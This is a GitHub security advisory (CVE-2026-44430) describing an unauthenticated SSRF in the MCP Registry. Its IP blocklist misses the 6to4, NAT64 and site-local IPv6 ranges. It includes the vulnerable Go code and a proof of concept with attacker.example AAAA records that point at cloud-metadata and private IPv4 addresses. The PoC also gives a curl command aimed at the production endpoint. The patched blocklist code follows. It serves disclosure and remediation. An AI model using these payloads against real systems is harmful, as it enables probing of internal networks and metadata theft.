Skip to content

MCP Registry has an unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist

Moderate severity GitHub Reviewed Published May 4, 2026 in modelcontextprotocol/registry • Updated May 15, 2026

Package

gomod github.com/modelcontextprotocol/registry (Go)

Affected versions

< 1.7.7

Patched versions

1.7.7

Description

Summary

The Registry's HTTP-based namespace verification (POST /v0/auth/http, POST /v0.1/auth/http) uses safeDialContext (internal/api/handlers/v0/auth/http.go:67-110) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (isBlockedIP, lines 125-133) relies entirely on Go stdlib's IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified plus a manual CGNAT range. None of these cover IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48 per RFC 8215), or deprecated site-local (fec0::/10) — all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts.

This is the same CWE-918 SSRF class fixed in GHSA-56c3-vfp2-5qqj on czlonkowski/n8n-mcp (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4.

The endpoint is unauthenticated — it is the login flow itself — so attack complexity is low aside from the host-level routing dependency.

Affected: latest main HEAD 23f4fda and current production v1.7.6 deployment at https://registry.modelcontextprotocol.io/v0/auth/http.

Details

Vulnerable code

internal/api/handlers/v0/auth/http.go:125-133:

func isBlockedIP(ip net.IP) bool {
    if ip == nil {
        return true
    }
    return ip.IsLoopback() || ip.IsPrivate() ||
        ip.IsLinkLocalUnicast() || ip.IsMulticast() ||
        ip.IsUnspecified() ||
        cgnatRange.Contains(ip)
}

Per Go source (src/net/ip.go), the relevant stdlib helpers cover:

Helper IPv6 coverage
IsLoopback ::1, IPv4-mapped of 127/8 (via To4() fast-path)
IsPrivate ULA fc00::/7 only — ip[0]&0xfe == 0xfc
IsLinkLocalUnicast fe80::/10 only — ip[1]&0xc0 == 0x80 (NOT fec0::/10 which is 0xc0)
IsMulticast ff00::/8
IsUnspecified ::

The Registry's blocklist therefore does not cover:

Prefix Defined in Why dangerous
2002::/16 RFC 3056 (6to4) Bits 16-47 embed an arbitrary IPv4 address. 2002:a9fe:a9fe:: is the 6to4 encoding of 169.254.169.254 (AWS / Azure metadata). 2002:0a00:0001:: encodes 10.0.0.1. On hosts with 6to4 routing or any explicit 2002::/16 route, the dial reaches the embedded IPv4.
64:ff9b::/96 RFC 6052 (NAT64 well-known prefix) Low 32 bits embed an IPv4 address. 64:ff9b::a9fe:a9fe translates to 169.254.169.254 on any NAT64-enabled network — which is the default in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks.
64:ff9b:1::/48 RFC 8215 (local-use NAT64) Same tunnelling concern, intended for operator-defined NAT64.
fec0::/10 RFC 3879 (deprecated site-local) Some BSD / older Linux stacks still honour these for routing into site-local internal networks.

safeDialContext resolves DNS once and dials by IP (good — pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete.

Exposure surface

POST /v0/auth/http (and POST /v0.1/auth/http) is registered in internal/api/handlers/v0/auth/http.go:197-218 and routed unauthenticated in internal/api/router/v0.go:24,39:

huma.Register(api, huma.Operation{
    OperationID: "exchange-http-token...",
    Method:      http.MethodPost,
    Path:        pathPrefix + "/auth/http",
    Summary:     "Exchange HTTP signature for Registry JWT",
    ...
}, func(ctx context.Context, input *HTTPTokenExchangeInput) (...) {
    response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...)
    ...
})

The handler builds https://<attacker-domain>/.well-known/mcp-registry-auth (line 143) and dials via the safeDialContext-equipped client. The domain parameter is taken verbatim from the unauthenticated POST body.

Critical order-of-operations confirmation in CoreAuthHandler.ExchangeToken (internal/api/handlers/v0/auth/common.go:246-265):

  1. ValidateDomainAndTimestamp(domain, timestamp) — domain format check (no IP literal, must contain dot)
  2. DecodeAndValidateSignature(signedTimestamp) — hex decode
  3. keyFetcher(ctx, domain) ← SSRF dial happens here
  4. VerifySignatureWithKeys(...) ← only AFTER fetch

So the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (±15s window) and any hex string for signedTimestamp.

PoC

Tested against main HEAD 23f4fda (make dev-compose boots Registry on localhost:8080).

Step 1 — Set up attacker DNS

Configure attacker.example with the AAAA records:

attacker-6to4.example.       AAAA  2002:a9fe:a9fe::         ; 6to4 -> 169.254.169.254
attacker-nat64.example.      AAAA  64:ff9b::a9fe:a9fe       ; NAT64 -> 169.254.169.254
attacker-rfc1918.example.    AAAA  64:ff9b::a00:0001        ; NAT64 -> 10.0.0.1

(Equivalent free options: a domain on Cloudflare with manual AAAA, or a requestbin-style service with custom DNS.)

Step 2 — Trigger the dial (no credentials required)

curl -i https://registry.modelcontextprotocol.io/v0/auth/http \
  -H 'Content-Type: application/json' \
  -d "{\"domain\":\"attacker-nat64.example\",\"timestamp\":\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\",\"signedTimestamp\":\"00\"}"

Timestamp need only be within ±15s of server clock. signedTimestamp is any hex string — it is decoded but only verified AFTER FetchKey has already dialled.

Step 3 — Observe

On a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches 169.254.169.254:443. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by MaxKeyResponseSize) is consumed as a key candidate.

For hosts without 6to4 / NAT64 routing, the dial fails with no route to host rather than refusing to connect to private or loopback address — proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability.

Expected behaviour after fix

isBlockedIP should return true for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp isPrivateOrMappedIpv6 helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation:

func isBlockedIPv6Prefix(ip net.IP) bool {
    v6 := ip.To16()
    if v6 == nil || ip.To4() != nil {
        return false
    }
    // 6to4 (2002::/16)
    if v6[0] == 0x20 && v6[1] == 0x02 {
        return true
    }
    // NAT64 well-known 64:ff9b::/96
    if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
       v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 {
        return true
    }
    // NAT64 RFC 8215 local-use 64:ff9b:1::/48
    if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
       v6[4] == 0x00 && v6[5] == 0x01 {
        return true
    }
    // Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks)
    if v6[0] == 0xfe && (v6[1]&0xc0) == 0xc0 {
        return true
    }
    return false
}

Then extend the call site:

return ip.IsLoopback() || ip.IsPrivate() ||
    ip.IsLinkLocalUnicast() || ip.IsMulticast() ||
    ip.IsUnspecified() ||
    cgnatRange.Contains(ip) ||
    isBlockedIPv6Prefix(ip)

A regression test fixture should set up a stub resolver returning each of the four prefix families and assert that safeDialContext returns the "private/loopback" error before any dial.

Impact

CWE: CWE-918 Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj).

CVSS:3.1: matching the n8n-mcp precedent (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N ~= 8.5 HIGH). AC = High because exploitation depends on the registry host having NAT64 or 6to4 routing — the default on IPv6-only and dual-stack cloud network plans (GKE IPv6, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64) but not on plain-IPv4 deployments. Privileges = None (the endpoint is the login flow itself).

For the official https://registry.modelcontextprotocol.io deployment specifically, this lets an unauthenticated attacker reach any IPv4 address that is routable from the registry's outbound interface — including AWS / GCP / Azure metadata services if hosted on a cloud VM with metadata enabled, internal Kubernetes API servers, internal admin panels, etc. The 4 KiB response cap (MaxKeyResponseSize) limits exfiltrated content per request but does not prevent fingerprinting / oracle attacks (status-code differential, response-length differential).

Self-hosters running the registry on dual-stack / IPv6-only infrastructure are equally exposed.

Why this slipped past PR #1227

The April 29 hardening batch (commit 1201cbd, "security: fix open redirect and add small hardening") explicitly added safeDialContext to block "loopback, RFC1918, link-local, multicast, CGNAT, or IP-literal/single-label" addresses. The author correctly identified the IPv4 attack surface and the link-local cloud-metadata vector, but composed the blocklist from Go's per-class stdlib helpers — which collectively miss the IPv6 prefix families that embed IPv4. The same gap was caught and fixed in n8n-mcp (GHSA-56c3-vfp2-5qqj). No commits in git log --since=2026-03-01 internal/api/handlers/v0/auth/http.go reference 6to4 / NAT64 / site-local.

Credit

Reported by Matteo Panzeri (GitHub: matte1782).

References

Published to the GitHub Advisory Database May 8, 2026
Reviewed May 8, 2026
Published by the National Vulnerability Database May 14, 2026
Last updated May 15, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(20th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-44430

GHSA ID

GHSA-r48c-v28r-pf6v

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.